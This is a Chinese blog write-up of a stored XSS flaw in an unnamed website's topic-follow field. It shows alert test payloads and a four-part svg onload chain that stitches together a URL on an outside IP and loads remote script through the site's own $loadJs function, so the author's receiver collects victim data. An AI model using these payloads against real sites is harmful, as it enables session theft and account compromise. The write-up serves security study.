同一输入点的累计输入,构造完整XSS语句

某站 添加“我关注的话题”处,存在XSS

在个人主页处点击添加话题,写入XSS测试 : <script>alert(1)</script>

1.png

点击确定后,页面无明显变化,在点击删除时才触发了弹窗:

2.png

此处用script标签触发条件较为苛刻。换用img标签再次测试:<img src=a onerror=alert(1)>

3.png

点击确定后,直接触发了弹窗:

4.png

接下来,就要尝试引入外部JS文件了。由于输入框有字数限制,无法一次性引入js文件,庆幸的是此处输入可以累计添加,后面的输入不会覆盖掉前面的。在引用通用的payload 时,又遇到了另一个问题,那就是即使截取成最短的长度,中间一句还是超过长度限制,这个时候就需要再考虑对方网站架构,观察js框架,最后找到了$loadJs()--> 对方网站的js api 。直接调用就好啦~~~
下面 分四次添加这段xs代码:
<svg onload="b='http://123'">
<svg onload="b+='.206.93.11'">
<svg onload="b+='/probe.js'">
<svg onload="$loadJs(b)">

5.png
6.png
7.png
8.png

添加完成后,刷新页面,在接收端即可收到信息:


9.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 问答题47 /72 常见浏览器兼容性问题与解决方案? 参考答案 (1)浏览器兼容问题一:不同浏览器的标签默认的外补...
    _Yfling阅读 13,831评论 1 92
  • 发现 关注 消息 iOS 第三方库、插件、知名博客总结 作者大灰狼的小绵羊哥哥关注 2017.06.26 09:4...
    肇东周阅读 12,265评论 4 61
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,307评论 0 16
  • 昨天晚上备课,整理出来15年前上研究生时英语课程的笔记,中英文写作比较。名词化等等一些概念,我在想我当年是否真的理...
    津城燕窝Donna阅读 94评论 0 0
  • 最初的相识是在外地,我俩都孤单的奋斗在那个城市好多年,我五年,他五年。机缘巧合下我们通过网络相识。最初的聊...
    烟火人间的老妖精阅读 292评论 0 0